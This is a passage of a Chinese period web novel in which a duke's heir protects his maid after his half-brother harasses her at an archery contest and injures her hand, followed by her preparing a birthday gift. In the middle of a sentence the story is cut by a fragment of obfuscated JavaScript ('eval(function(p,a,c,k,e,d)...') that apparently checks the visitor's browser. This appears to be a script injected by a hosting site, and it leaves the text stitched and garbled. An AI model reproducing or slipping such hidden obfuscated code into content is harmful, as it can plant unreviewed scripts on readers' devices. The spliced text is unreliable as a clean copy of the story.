陆执把弓箭放好,见云若在揉捏酸胀的手臂,本想上手帮她,蓦地听到有人叫他,是他认识的人,说是有比赛的事要同他商量。 “我去去就回。” 人在帐子前面,云若目送陆执身影隐入白帐。 她歇了会,伸展手臂觉得没事了,又重新拿弓想练几箭。 一会儿不握弓,就差了点手感,这一箭堪堪上靶,还不如刚学的那一箭。 云若长舒一口气,回忆之前的细节,凝神屏息,重新上弦,起落几回,终究找不到感觉,最后拉弓良久,她迟迟不敢松手。 正当她要放下弓重新找手感的时候,背突然抵上坚硬,两只手被人把住,陌生的气息包围了她。 云若骇然回首,看到了那张与陆执有几分相似的脸。 “二公子?”她抑制不住拔高了声调,是惊也是怕。 “看我作甚,你该看箭靶。”陆平俨然不觉他的动作有何不对,也忽视她的抵制。 云若试着挣开,陆平却把她拥得更紧,勒得她有些喘不匀气。想要抽出手,也被他牢牢抓住,不知道的还以为两人的手是交缠一起的。 云若知道强行挣脱的机会渺茫,她放软声音:“二公子,大庭广众之下,您这样有失身份,被旁人看去了怕是要乱嚼舌根毁您清誉,况且世子马上就要回来了,您还是先放开奴婢吧。” 名声、陆执?他最不怕的就是这些。 陆平低头凑近她耳廓,在她耳边吹了口气,盯着她红润的唇,语气暧昧:“劳你还担心本公子,不过你不觉得你更应该担心担心你自己吗?如今箭在弦上,不得不发。来,看前面。” 见陆平欲倾身过来,云若立马偏过头目视前方。 陆平落了空也不恼,他带着她的手抬得更高,将弓拉满。 云若手上暗暗同陆平较劲,想让陆平松开她,但是陆平却越握越紧。 这弓是新的,弓弦的粗砺还未被磨平,本就容易伤手,两人拉扯较劲间,云若的手被弦磨出血珠,沿着弓弦低落,陆平视而不见。 云若适时服软,不再和他较劲,他不放箭也不放过她,将弦陷进她已经绽开的皮肉里。 十指连心,云若疼得倒吸一口凉气,她低声求饶,得来的是陆平不平不淡的哂笑。 她实在不知陆平到底意欲何为,她现在全身绷紧,整个人紧张过了头,对周遭的一切感觉都弱了很多。 陆平察觉到了身后细微的脚步声,嘴角勾起。 云若敏感的耳垂感到一阵湿濡,她绷紧的弦断了。 箭矢离弦飞去,簌的一声,正中靶心。 “好箭。” 熟悉的 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闻言,陆平脸色依旧如常,他嘴角带着得体的笑,为自己辩解。 “大哥真是冤枉人了。我在这附近迷了路,刚巧碰上这丫鬟,她苦苦哀求,我才好心出手教她,这还有错?大哥怎么向着这些卑贱的人,不向着自己的亲弟弟?” “亲弟弟?”陆执哂笑,终于肯施舍一个轻蔑的眼神给陆平,“当今圣上是我的亲舅舅,我不记得他还有第二个姓陆的外甥。再者,我心中的卑贱你说了不算,我想向着谁就向着谁,你无权置喙。” 陆平嘴角的笑已然僵硬,视线交汇,他占不了一点上风。 锣鼓喧天,比赛就要开始了。 陆平给自己找了个台阶,抬手告退先行。 “你的位置在西边,找不到就用你的鼻子嗅嗅,这次,可别再走错了。” 陆平粉饰情绪,回了句:“谢大哥提醒。” 经过云若身旁的时候,他又突然顿住了脚步。 “对了,这丫鬟的帕子,还是送给旁人吧,我是不该收的。” 不知陆平从哪儿得的帕子,云若确实是有这么一条,有一阵她经常在用,陆执自然也认得。 临了陆平还是要说他是无辜的。 云若不接,陆平竟当着陆执的面拉起她的手塞进去,云若连忙抽出手,攥着帕子,不敢看陆执的神情。 “祝大哥今日比试夺得彩头,小弟先告退了。”陆平留下一句不痛不痒的话离开了。 两人无言相持半晌,陆执把帕子从她手里抽出,看到帕子上的血迹,拉着她的手一看,三只手指都被磨开了一个口子,血迹沾了手掌,血珠还在往外渗。 他抬眼看她,整个人跟受惊的兔子一样还在颤,眉头紧蹙,眼睛不知何时氲了水汽,滴溜溜地看着他,嘴角撇着,一句话不说,却诉尽了委屈,平白叫人心生怜惜。 这会儿他已然明白了不关她一点事,麻烦找上门,遭了无妄之灾,她也心有余悸,满腹委屈。 陆执拉起云若的手,在她的注视下捏着她的手指含进口中,舌尖轻舔她的伤口,她疼得瑟缩了一下。 腥甜在口中蔓延,陆执卷走她的血水。 那张陆平碰过的帕子早就被他扔到了地上,他抽出她腰间的帕子,擦去她掌心的血痕。 见陆执自陆平离开后就一言不发,连一声质问都没有,云若担心陆执误会,自个先出言解释。 “世子,奴婢正练箭,二公子何时来的都不知晓,断没有主动招惹他的可能,请世子相信奴婢!” 默了好一会儿,云若蓦地紧张起来,他才应了声:“知道了。” 闻言云若松了口气,他这么说,应该是没误会什么。 陆执抬眸,盯着她被陆平吻过的地方,沉声道:“擦擦。” 云若明白他说的是哪里,虽然那点湿意早已干涸,但那感觉却一直留在她耳垂,也让她心里膈应。 手帕在他手里,她只好捏着自己的衣袖去擦。 想起方才他回来,就见到云若被陆平半拥着,整个人就像个木头一样僵着不动,被人占了便宜都没什么反应。 两人身形交叠的瞬间,陆执心中猛地一揪,霎时间怒火翻涌,呼吸都急促起来,脱口而出警告陆平,他这出拙劣的戏,自己看到了。 幸亏他还算识相,没有得寸进尺,若不是那会不是时候,陆执定会给他点颜色瞧瞧。 云若擦得很用力,没一会,与另一只耳垂相比,这只红得滴血。 陆执眸色一暗,知晓她的无辜,但心中始终有些不快,他搂住她的腰,抬手掌着她的脸,咬住她另一只白嫩的耳垂含吮。 密密麻麻的酥痒袭来,他犬齿轻碾,听她发出闷哼,这才松开她。 他用手将湿意抹开,语气冷硬:“这边不准擦。” 见云若低垂着头,陆执捏住她的下颌,对上她委屈的杏眼,还是不自觉缓和了语气:“回去后我要听你说起因经过。他对你做了什么,全说给我听,一点不准落。” 云若看着他眸中的寒意早就褪去,虽然话语间还有隐约的怒气,但她听着却没有那么害怕,她软声道:“奴婢遵命。” 外头再次敲响锣鼓,人声嘈杂,想来比赛是要开始了。 陆执松开她,下垂的手顺势牵起了云若,带着人刚出去,就碰上了左行。 他指了指一旁给陆执拿着弓和箭囊的小厮,“世子,比试要开始了,徐公子已经准备上场了!” 云若被陆执拉着坐下,“在这里坐着,别乱跑。” 云若点头,这会人多了,她也不敢乱跑。 云若视线追随陆执,见他又转身吩咐左行:“你去找点金疮药给她包扎一下,然后在这守着她,别让她被人欺负了。” 听到欺负二字,左行有些怔愣,他点点头,然后就忙不迭去给云若找药。 交代完,陆执又回头看了她一眼,这才离开往靶场去了。 36. 不值 不出意外,陆执得了彩头,他赢得轻松,李鸣心服口服双手奉上那张弓。 云若的情绪早已因为刚才陆执精彩的箭术高涨,这会也是与有荣焉,替陆执高兴。 她伸手要去接过陆执手里的弓,他垂眸看了一下她简单包扎上了药的手,转手递给了左行。 她默默收回手,心里嘀咕自己的伤也算不上严重。 比试结束,剩下就是轻松娱乐的时候,今日来的都是认识的人,都不拘束。 不少人来寻陆执想要和他再比比,陆执都没应。 云若跟着他回了帐子,陆执径自坐下,见她凑到左行身边,满眼都是那张弓。 乌黑发亮的檀木,应该是有些年头了,弓身被磨得平滑了一些,但还是能看到上面繁复特别的雕刻,仔细一看,还有几分像话本里描绘的神器图案。 身后传来一声长叹,云若寻声看去,陆执依旧是淡然的神情。 “世子怎么赢了还不开心?” “这趟来得不值。” 云若想或许是这张弓不如世子意,又或是比不上他的棋谱。 “那我们要告辞回府吗?” 陆执点点头。本来一直在她身上的视线往远处移了移,看到了什么,眸色一暗。 他唤了左行近身,云若懵然,不是要走,怎么世子还和左行当着她的面说小话,她往两人那边靠了靠,被陆执的一个抬眼震慑。 “去吧。” 陆执两三句话吩咐完,左行领命,把弓箭放在一旁,转身出了帐子。 云若见左行快步走远,不一会儿一个闪身就没了身影,睁大眼寻了一圈无果,一转眼对上陆执,她讪笑道:“世子您这是让左行干什么去了?” 他像是得了什么趣,脸上是浅浅的笑意,不直接告诉她,同她卖关子:“让他去干一件大快人心的事。” 云若问他:“怎么个大快人心?” 陆执钓着她只说:“晚些时候再告诉你。” 云若皱了皱鼻,世子怪会吊人胃口。 “那世子现在还走吗?还是要等徐公子和左行?” 云若话音刚落,就被回来拉人的徐舒柏听去了。 “李鸣他们正说要找你小子再切磋切磋,我保证了把你带过去,你这就要走?难得出门一趟,也不玩个玩个尽兴。” “怎么切磋你们都是输。” 徐舒柏正要说他狂妄,陆执突然把赢来的弓扔给他,他连忙接住。 “弓送你了,我们先走了。” 说罢,陆执起身,一个眼神,云若跟着他离开了。 徐舒柏站在原处连欸好几声试图挽留无果,路过他的时候,云若还不忘礼数。 还真是一点脸面不给他,没办法他只能把陆执那句怎么都是输原封不动转述了。 上了马车,陆执也没立即下令回府,云若想着应该是在等左行。 这老校场在京郊,离镇国公府不近,真丢下左行,不知道他得走多久才回得去。 也不知道陆执吩咐他干什么去了,他办得还挺快,这边才候了没一会儿,他就回来了。 左行在外面复命:“世子,都办妥了。” 陆执只嗯了一声,但云若明显察觉到陆执在听到这句话后心情瞬间就愉悦不少。 “世子,到底是什么大快人心的事,您快跟奴婢说说!”云若心痒难耐,她太想知道了。 陆执示意她附耳过来,云若挨过去。 气声不大,但全落进她耳里,带着他的温度。 听罢,云若先是一愣,有些吃惊,后知后觉,心中涌出一股暖意。 “世子……”情绪翻涌,云若一时不知道该说些什么。 陆执拉过她受伤的手,摩挲她的掌心,“总不能让你平白受了这个委屈,不然下次再带你出来,担惊受怕可不行。” 云若轻然一笑,哪有世子说的那么夸张,她稍微给自己正了一下名:“是事发突然,奴婢才有点害怕。下回……” “没有下回了。” 她话没说完,就被陆执打断。 云若看他神色肃然了几分,笑着顺了他的话:“没有下回了。” 回了府,陆执让左行找出了上好的金疮药,重新给她上药包扎,看着她皮肉绽开的伤口,陆执眉头紧蹙。 其实这伤口只是看着很深,当时疼,这会她已经没什么感觉了。 云若这么想着,药一洒上来,疼得她倒吸了口凉气。 陆执以为是自己动作太粗鲁,自觉柔和了些。 疼过劲后,云若庆幸着方才没把不疼的话说出口,不然下一瞬就疼得呲牙,世子指不定要怎么笑她。 她的伤口都是在手指,陆执把纱布裁细,一圈一圈缠上。 明明他是主子,为一个下人做这些事如此自然,而她这个下人竟也如此问心无愧地受着了。心里告诉自己这是不合礼数的,但人却没有作为。 陆执看她心不在焉,问她:“想什么呢?” 说着话,手上动作没停,利落地打了个结,特地打在指背,像是戴上了饰品。 云若心口不一:“奴婢想着世子就这么把弓送给徐公子有点可惜了。” 陆执不解:“哪里可惜?左右我也用不上,就算要用也得用趁手的,不然就很容易像你这样伤了手。” 他抓起她包扎好的手晃了晃。 话是这么说,云若还是说出了自己的小想法:“不过这弓可真好看,要是拿回来,奴婢可以找个地方给世子挂起来,用作装饰观赏一下也挺不错。” 陆执笑她这是大材小用。 云若翕然一笑:“才不是,奴婢这是物尽其用。” 说着,她环顾四周,指着对面的那副林溪鹿饮图,继续道:“奴婢觉着挂那儿就不错。” 陆执顺着她的视线望去,看到那副图,不免想起当初他是因何完成它的。 云若自然不知这些,她记得早就有了,以为就是世子随手画的山水图,那张弓做得漂亮,摆在那里应该是相得益彰的。 陆执撑脸看她,将笑未笑:“你挂那儿是想射我的小鹿吗?” 云若只顾着好看,还真忘了弓箭的用处,她摆手道:“自然不是,奴婢只是觉得它挂在那幅画旁边说不出的合适。” “不是就好,那只小鹿我可喜欢了。”陆执拉长尾 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侍妾一听,满脸讶异,她没进府之前对陆世子略有耳闻,不是说是个好脾性的主儿,怎么会把自己弟弟打成这番模样。 虽然她知道陆平算不上什么好人,但是陆平好歹是镇国公的儿子,颇得镇国公的心,多少人看在镇国公的面上不对他礼让三分,他在这府里也是没人敢惹的,这陆世子收拾起人来倒是不留一点情面。 陆平看她一听到陆执就变了脸色,心中恼得厉害,平时看着悦目的脸这会也没来由地烦,随便找了个由头把人打发了。 其实李鸣今日并没有邀请他,而是邀请了陆平的一个朋友,他的朋友又邀他一同前去,本来他和李鸣关系一般,对这些也不感兴趣,不打算去,只是听说陆执也要去,他自然要去凑个热闹,在陆执面前晃一圈,让他不尽兴也好。 他在校场找不到乐子正无趣着,就看到陆执来了,身边还带着那个丫鬟。 陆平一下子来了兴致。 暗中窥探了好一阵,总算等到那个丫鬟落了单。 小丫鬟是个有性子也有眼力见的人,软硬兼施,他还真生了几分旖旎的心思,不过陆执很快就回来了。 他故意亲近那个丫鬟,看到陆执冷得有些扭曲的脸,心中无比畅快。 虽然嘴上功夫比不过陆执,陆平还是觉得这局是自己胜了,不然他陆执何必派自己的贴身侍卫来收拾他。 陆平正好端端准备回他的帐子,就被人罩了头拖走。 陆平虽然跟着陆父在军营历练,但是身上只有点三脚猫功夫,比不得左行这种练家子。 来人倒是光明正大,没隐着身份。 “我们世子说,二公子若是再敢有下次,就不是一只胳膊的事了。” 陆平抱着自己受伤的手,靠着树干,低笑几声。 没想到他的大哥对一个丫鬟如此上心,真是件难得的事。 既如此,这个丫鬟,他不会轻易放过。 他今日受的这份罪,不日一定会在那个丫鬟身上讨回来。 37. 贺礼 开了春,日头还是不够暖,云若捧着热茶,在厢房里等着殷灵。 “让你久等了。” 殷灵拿着厚厚一沓稿纸,脸上是掩不住的喜色,她坐到云若身旁,把手中的东西拿给她看。 “这是前两天刚改成的,依你想的主线写的,那些笔客补充这些细枝末节还算老练,你想的新主线够新颖,一结合,总算是有了不错的一版,这不赶紧让你来过过目。” 云若自己推翻重写的主线是她抱着试一试的心态写下的,本来只希望能给殷灵一点思绪,不成想殷灵如此肯定她,竟直接用了。 云若又惊又喜,低头翻看起来。 殷灵找的笔客应该是深谙话本写作之道,云若是对原著的一些情节进行了润色,比起她的略显稚嫩,他们对其中很多技巧的处理比云若成熟得多,替她修正后,又给新情节填充不少细节,整个话本在保证通畅的程度上起伏更多,新意不少,从本子上来看算得上一次成功的改编。 云若一口气读完,殷灵在一旁等候她的评价,云若便把方才她心里的感受一字不落告诉了她。 “我也很满意这次的本子,已经着手让戏班子排起来了。等过阵子,第一批上好春茶的时候,就重磅推出,到时候请你来看,有了反响也第一个告诉你!” 殷灵眼中跃动着光芒,脸上洋溢着大干一番的豪情,云若也被她感染,已经开始期待那天。 两人一边商量一些细节,一边把稿纸收拾好,殷灵拿回房放好,回来的时候,手里多了一个荷包。 殷灵把荷包递给云若,云若一捏,发现是银子,一脸疑惑。 “你此次帮了我大忙,又出点子又出力,这是你该得的,收下吧。”殷灵同她解释。 云若只是想为殷灵出一份力才做的这些,她把银两递回去:“姐姐,这我不能要。我做的这些算不上什么,只是碰巧罢了,这本子整体都还是你的笔客完成的,我不敢居功,能帮到你,是我这个妹妹该做的。” 殷灵就猜到她定会推辞,早就准备好了其他话术:“这个时候可不论什么姐妹了,是我请你帮忙,这个是你辛苦付出该得的。那些笔客我自然不会亏待,但你的也不能少。再说,这不是肥水不流外人田,妹妹赚姐姐的钱,这不是天经地义?” 云若没读过殷灵的这个天经地义,但她哪里接得住殷灵一套又一套的说辞,最后还是收下了。 她拿着这袋子银两,内心说不出的充盈。云若没想过自己有朝一日还能因为读书多而赚得钱。 她本来打算存着,但是想到过几日是陆执的生辰,边琢磨着加上这些能不能给世子挑个合适的贺礼。 云若最近一直在为此发愁,她想了许多都不满意。因为哪怕她拿出全部积蓄,送不起世子什么贵重珍稀的东西,连世子当初送她的随便一样都很难比得上,念着殷灵是做生意的,见识定然比她多,正好这会可以向她求助。 殷灵思忖,陆执堂堂镇国公府世子,从小得的好东西肯定不少,但也因着这重身份,这些东西多是迎来送往,走的一个人情世故,无甚新意,很难送到人的心坎上。 要说特别,除了贺礼本身,再有就是送礼的人了。殷灵本来想说你送什么世子都会喜欢的,但蓦地想到了什么,她笑意浓厚:“身外之物,陆世子肯定是不缺的,但你若是想送他个难忘的、独一无二的,我确实有个主意。” 听到独一无二,云若眼前放光,连声问道:“什么主意?” 这会她都顾不上自己那点小金库能不能承担得起这个难得的贺礼,只想着这种或许才配得上世子。 云若一脸赤诚,殷灵一下子还说不出来,只能凑近她耳边,说出了她的想法。 她才刚一开口,云若的耳朵就刹那间通红,等殷灵说完,云若已经羞得双手无处安放了。 “如何?”殷灵看她这幅生涩纯情的模样,心中都有些动容,太可人了。 云若回想着世子以往的样子,她若真这么做,或许他并不会排斥,喜不喜欢她拿不准,但是也确实算得上是特别。 只是,她在这些事上不够自得,多少有点放不开。 殷灵看她没有直接回绝,想着可能是心思有点多,这也正常。 “云若,不用把这些想得多么复杂,它对不同的人来说,意义本就不同,只要两人能想到一处去,那只管享受这档子事就好了。我和陆世子也算有点交情,你若是信我,这份贺礼,他必然喜欢得紧。” 云若也没多想,随口就问出了为何。 殷灵本来想说自然是因为送这份贺礼的人特别,但话到嘴边却变成了:“男人大多这样。” 云若也认可般地点了点头。 说了这么多,云若还没说她怎么想的,殷灵用手肘轻轻碰了碰她,挑眉笑问:“所以你考虑得如何?你若觉得可行,我那有东西,你肯定用得上。” 云若敛下眼,原本褪去的羞意复返,殷灵追着她问,最后看她还是轻轻点了点头。 殷灵掩嘴轻笑,挑起她的下颌,啧啧两声:“我家云若害羞的样子真是太让人心痒难耐了,我瞧着都忍不住想香一口。” 与殷灵相处久了,云若已经逐渐习惯了她有时候蛮不正经的样子,时而她都想知道殷灵这欠欠的劲是学的徐舒柏,还是徐舒柏学的她,还真是近朱者赤,近墨者黑。 她撒娇似的拨开殷灵的手:“姐姐就喜欢戏弄我。” 清脆的笑声在屋子里响起,云若绞着帕子,撇着小嘴,要嗔不嗔。 晚些时候,殷灵送云若离开的时候,把一个精致的锦盒塞到她手里,给了她一个略有深意的眼神。 不必多言,云若心领神会,不动声色地把盒子收进怀里。 回去的时候,正巧碰上陆执,他多看了她两眼,云若倏地窜走,生怕被陆执发现她怀里的东西。 把东西放好,陆执狐疑地打量她,云若只好顾左右而言他,这在本来就怀疑她有事瞒着他的陆执眼里,就是不打自招。 显然她这会不想告诉他,无碍,他想知道,总有法子让她自己说出来。 见陆执没有多问,云若松了口气,数着没有几天就是他的生辰,倒是期待更多。 三月初九这天,和风旭阳,日头正好。 其实早阵子,陈氏就和陆执商量过今年要不要再给他办个酒席过生,去年冠礼的时候,他虽不想太过铺张,陈氏还是给他大办了一场,今年他还是不想过得麻烦,陈氏瞧他坚持,也没勉强,只说就在自家府上,一家子人给他庆祝庆祝。 这些东西是难以避免的,陆执就随她去了。 即使没对外设宴,早早就有各门亲朋好友送了礼来庆贺,云若负责记账,短短几天就见了几辈子都难见的各样珍贵物件,刚开始还惊奇稀罕,到后面瞧得她都疲乏了,原来这就是世子幸福的烦恼。 平常陈氏下了令,让府中众人无事不得叨扰陆执清静,这些个兄弟姊妹也都和他不算亲近,大家伙也都很少来这承熙院,但今日个因着陆执的生辰,做弟弟妹妹的这些情面功夫还是要有的,承熙院也难得热闹了一回。 几个小姐结着伴来给自家大哥庆生,正堂一下子坐了不少人,云若和右安他们忙进忙出,生怕怠慢了这些主子。 几人聊着天,陆执也只是在一旁听着不插话,虽然他脸上带着浅浅的笑,不过云若还是估摸着他心底怕是烦着了,只是强撑着拿出长兄的架子罢了。 想到世子身不由己,云若还有点窃喜,给他上茶的时候,嘴角笑意不掩,陆执眯眼看她,云若背对着众人对他嘻然一笑,朝他吐了吐舌,然后快步退下。 这么多人在这,他可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看两人一溜烟走远,云若只能迟钝地应了声,然后试图让陆执先起身,然后单手搭着她,这样才好扶他进去。 本以为世子这么高大,她得费一番力气,但是世子却出奇的配合,她很轻松地就把人扶到榻前坐下。 云若看他单手扶额,还以为他不舒服,赶忙给他倒了杯水,矮身递给他。 “世子,您先喝杯水缓缓,很快就给您煮醒酒茶来了。” 他接过杯子,但没喝,一向清明的眸子是有几分朦胧。 “今日你们收了多少礼?”他声音也不如平时清润,带了几分虚气。 收礼这事几乎全是云若在干,她自然一清二楚,把这几日的收获有条有理地告诉了他,和他特别提了一些送得特别的礼物,还同他建议哪些可以用作回礼。 云若顾虑着陆执现在精力不比平时,特意化繁为简,放缓了语速,语气也不自觉软了不少,像是在哄小孩子。 她说完,见陆执半偏垂着头,半晌没动静,还以为他醉过去了,遂靠近他,柔声唤他:“世子?” 陆执抬眼看她,眉眼微蹙,满是疑惑:“你怎么不送我贺礼?” 云若怔愣,还没想好怎么开口。 陆执放下杯子,拉起她的手贴上他的脸,轻蹭了一下。 云若一下子僵直了身子,世子这是……在撒娇吗? “我都送你贺礼了,你却不回我一个,难道是我送给你的,你不喜欢吗?那你跟我说说你喜欢什么好不好?” 陆执的语气温柔得能滴出水来,云若舌头却跟打结似的,半天捋不出来一句话,陆执就这么巴巴地看着她,也不催她。 好半天,云若才挤了几个字出来:“其实,奴婢准备了的……”